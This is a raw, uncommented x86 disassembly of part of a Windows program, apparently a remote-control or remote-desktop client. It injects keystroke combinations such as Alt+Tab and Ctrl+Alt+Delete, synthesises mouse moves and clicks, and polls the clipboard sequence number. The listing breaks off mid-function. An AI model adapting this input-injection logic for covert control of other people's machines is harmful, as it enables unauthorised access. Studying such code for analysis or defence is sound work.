push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov dword [ebp - 0x7c4], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d8a4c]
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
cmp byte [0x532ffc], 1
jb case.0x4d70d0.10
cmp dword [0x53b3e0], 0xb42b
ja case.0x4d70d0.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x53b564], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d8f9c
je 0x4d8ff7
cmp eax, 0xa4
jg 0x4d8f84
je 0x4d9015
sub eax, 0x84
je 0x4d8ffc
sub eax, 0x1c
je 0x4d901f
dec eax
je 0x4d9001
dec eax
je 0x4d9006
jmp case.0x4d8faa.515
sub eax, 0xa5
je 0x4d901a
sub eax, 2
je 0x4d900b
dec eax
je 0x4d9010
jmp case.0x4d8faa.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d8faa.515
jmp dword [eax*4 + 0x4d8fb1]
or esi, 2
jmp case.0x4d8faa.515
or esi, 4
jmp case.0x4d8faa.515
or esi, 0x20
jmp case.0x4d8faa.515
or esi, 0x40
jmp case.0x4d8faa.515
or esi, 8
jmp case.0x4d8faa.515
or esi, 0x10
jmp case.0x4d8faa.515
or esi, 1
jmp case.0x4d8faa.515
or esi, 1
jmp case.0x4d8faa.515
or esi, 2
jmp case.0x4d8faa.515
or esi, 4
jmp case.0x4d8faa.515
or esi, 0x20
jmp case.0x4d8faa.515
or esi, 0x40
jmp case.0x4d8faa.515
or esi, 8
jmp case.0x4d8faa.515
or esi, 0x10
jmp case.0x4d8faa.515
or esi, 1
jmp case.0x4d8faa.515
or esi, 0x800
mov eax, dword [0x53b564]
mov edx, dword [0x53b510]
add dword [eax], edx
mov eax, dword [0x53b564]
mov edx, dword [0x53b514]
add dword [eax + 4], edx
cmp dword [0x53b2ec], 0
jle 0x4d90ff
mov eax, dword [0x53b2ec]
add eax, eax
inc eax
call fcn.0040307c
sub eax, dword [0x53b2ec]
mov edx, dword [0x53b564]
add dword [edx], eax
mov eax, dword [0x53b2ec]
add eax, eax
inc eax
call fcn.0040307c
sub eax, dword [0x53b2ec]
mov edx, dword [0x53b564]
add dword [edx + 4], eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
cmp eax, dword [0x53b510]
jge 0x4d90a5
mov eax, dword [0x53b564]
mov edx, dword [0x53b510]
mov dword [eax], edx
mov eax, dword [0x53b564]
mov eax, dword [eax]
cmp eax, dword [0x53b518]
jl 0x4d90c2
mov eax, dword [0x53b518]
dec eax
mov edx, dword [0x53b564]
mov dword [edx], eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
cmp eax, dword [0x53b514]
jge 0x4d90e0
mov eax, dword [0x53b564]
mov edx, dword [0x53b514]
mov dword [eax + 4], edx
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
cmp eax, dword [0x53b51c]
jl 0x4d90ff
mov eax, dword [0x53b51c]
dec eax
mov edx, dword [0x53b564]
mov dword [edx + 4], eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x533544]
sub edx, dword [0x53353c]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x533548]
sub edx, dword [0x533540]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x53b2dc], 0
je 0x4d915f
mov eax, edi
imul dword [0x53b2d8]
cdq
idiv dword [0x53b2dc]
mov edi, eax
cmp dword [0x53b2e4], 0
je 0x4d917b
mov eax, dword [ebp - 0x4c]
imul dword [0x53b2e0]
cdq
idiv dword [0x53b2e4]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d9191
mov eax, dword [0x53b564]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d9196
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d91a5
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d91b4
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d91c3
call fcn.004cef74
mov eax, dword [0x534338]
cmp dword [eax], 0
jle 0x4d92f9
cmp dword [ebx + 0x10], 0x20a
je 0x4d91f4
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x534230]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d9235
je case.0x4d920e.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d9215]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d924a]
push 1
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 2
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x10
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x20
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 4
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 8
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d92e9
push 1
mov eax, dword [0x534314]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 2
mov eax, dword [0x534314]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x53425c]
cmp dword [eax], 0
jle 0x4d9464
cmp dword [ebx + 0x10], 0x20a
je 0x4d9395
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x53b5d4]
jne 0x4d9338
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x53b5d8]
je 0x4d9373
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x53b5d4], eax
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x53b5d8], eax
mov eax, dword [0x53b5d8]
push eax
mov eax, dword [0x53b5d4]
push eax
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x534518]
mov eax, dword [eax]
call eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53456c]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d93b8
je 0x4d93d1
sub eax, 0xa1
je 0x4d93d1
dec eax
je 0x4d93e7
sub eax, 2
je 0x4d93fd
dec eax
je 0x4d9413
jmp case.0x4d70d0.10
sub eax, 0x202
je 0x4d93e7
sub eax, 2
je 0x4d93fd
dec eax
je 0x4d9413
sub eax, 5
je 0x4d9429
jmp case.0x4d70d0.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53464c]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x534854]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341a8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5343e4]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d944c
push 1
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53491c]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0xffffffffffffffff
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53491c]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534418]
cmp dword [eax], 0
jle 0x4d9534
cmp dword [ebx + 0x10], 0x20a
je 0x4d9495
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x5346c4]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d94b8
je 0x4d94d1
sub eax, 0xa1
je 0x4d94d1
dec eax
je 0x4d94df
sub eax, 2
je 0x4d94ed
dec eax
je 0x4d94fb
jmp case.0x4d70d0.10
sub eax, 0x202
je 0x4d94df
sub eax, 2
je 0x4d94ed
dec eax
je 0x4d94fb
sub eax, 5
je 0x4d9509
jmp case.0x4d70d0.10
mov eax, dword [0x5347b8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x5349f4]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534310]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x5345b0]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d9524
push 1
mov eax, dword [0x5340e8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0xffffffffffffffff
mov eax, dword [0x5340e8]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
cmp dword [ebx + 0x10], 0x200
je 0x4d9554
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d9579
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d70d0.10
xor eax, eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7b4], esi
inc edi
mov dword [ebp - 0x7c0], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7bc], eax
xor eax, eax
mov dword [ebp - 0x7b8], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d70d0.10
cmp dword [0x532f38], 0x5250390
jb case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x91c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x920]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x920]
call fcn.004093f8
mov dword [0x53b34c], eax
mov eax, dword [ebp - 0x24]
call fcn.00403770
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4d966c
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d966c
cmp eax, 0
je case.0x4d70d0.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x53b384], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x533494]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x53b3e8], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d96aa
mov byte [0x532fb4], 0xff
mov byte [0x532ffc], 0
xor eax, eax
mov dword [0x53b5d4], eax
jmp 0x4d96c6
call fcn.004d62ac
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5345dc]
cmp dword [eax], 0
jg 0x4d96ba
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x532fc8], al
cmp byte [0x532fc8], 0
je 0x4d9791
mov byte [0x53b3b0], 0
mov eax, dword [ebx + 0x10]
mov dword [0x53b3a4], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b3a8], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x532ff4], al
cmp byte [0x53b3b1], 0
jle 0x4d9726
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d9738
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x53b398], al
test esi, esi
jle 0x4d9757
mov eax, esi
call fcn.004d631c
shl eax, 2
mov dword [0x532ff0], eax
jmp 0x4d9766
mov eax, esi
call fcn.004d631c
shl eax, 3
mov dword [0x532ff0], eax
mov eax, dword [0x532ff0]
test eax, eax
jns 0x4d9772
add eax, 3
sar eax, 2
call fcn.0040307c
mov edx, eax
neg eax
add eax, eax
mov dword [0x532fdc], eax
mov byte [0x53b3e8], 1
jmp 0x4d9838
mov al, byte [ebx + 0x10]
and al, 0xff
mov byte [0x53b3b0], al
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x532ff4], al
cmp byte [0x532ff4], 2
jne 0x4d97c8
call fcn.0046e8ec
fcomp dword [0x4dca44]
fnstsw ax
sahf
jbe 0x4d97c8
mov byte [0x532ff4], 3
cmp byte [0x53b3b1], 0
jle 0x4d97dd
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d97ef
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53b398], al
cmp dword [0x53b3e0], 0xb42b
ja 0x4d9813
mov eax, esi
call fcn.004d631c
mov dword [0x532ff0], eax
jmp 0x4d981d
mov dword [0x532ff0], 0x3e8
mov dword [0x532fdc], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x533520], eax
xor eax, eax
mov dword [0x53b3b4], eax
cmp byte [0x53b3e8], 0
je 0x4d984a
cmp byte [0x53b3e9], 0
je 0x4d986a
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004af8e4
test al, al
je 0x4d986a
call fcn.004afa94
cmp byte [0x532ff8], 3
je 0x4d9878
call fcn.004cb60c
cmp byte [0x532ff8], 4
je 0x4d9886
call fcn.004ccf2c
cmp dword [0x53b538], 3
jne 0x4d98c3
movsx eax, byte [0x532fb4]
mov edx, dword [0x532ff0]
call fcn.004cc350
cmp byte [0x532ff8], 5
je 0x4d98b4
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d98e8
mov edx, 2
or eax, 0xffffffff
call fcn.004cc2e4
jmp 0x4d98e8
cmp byte [0x532ff8], 5
je 0x4d98d3
call fcn.004cbc80
jmp 0x4d98e8
mov eax, dword [0x534744]
cmp dword [eax], 0xffffffd8
jge 0x4d98e8
mov eax, dword [0x534744]
mov dword [eax], 0xffffffd8
cmp byte [0x532fb8], 0
jne 0x4d9acd
mov dl, 1
mov eax, dword [0x4221e0]
call fcn.0042881c
mov dword [0x53b39c], eax
mov dl, 7
mov eax, dword [0x53b39c]
call fcn.00429d94
mov dl, 1
mov eax, dword [0x4221e0]
call fcn.0042881c
mov dword [0x53b3a0], eax
mov dl, 7
mov eax, dword [0x53b3a0]
call fcn.00429d94
cmp dword [0x532fcc], 0
jne 0x4d9949
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x532fcc], eax
cmp dword [0x532fd0], 0
jne 0x4d9963
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov dword [0x532fd0], eax
cmp dword [0x532fd4], 0
jne 0x4d997d
mov dl, 1
mov eax, dword [0x414de0]
call fcn.00403740
mov dword [0x532fd4], eax
mov eax, dword [0x534a54]
cmp dword [eax], 0
jne 0x4d999b
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov edx, dword [0x534a54]
mov dword [edx], eax
mov eax, dword [0x534440]
cmp dword [eax], 0
jne 0x4d99b9
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov edx, dword [0x534440]
mov dword [edx], eax
mov eax, dword [0x534118]
cmp dword [eax], 0
jne 0x4d99d7
mov dl, 1
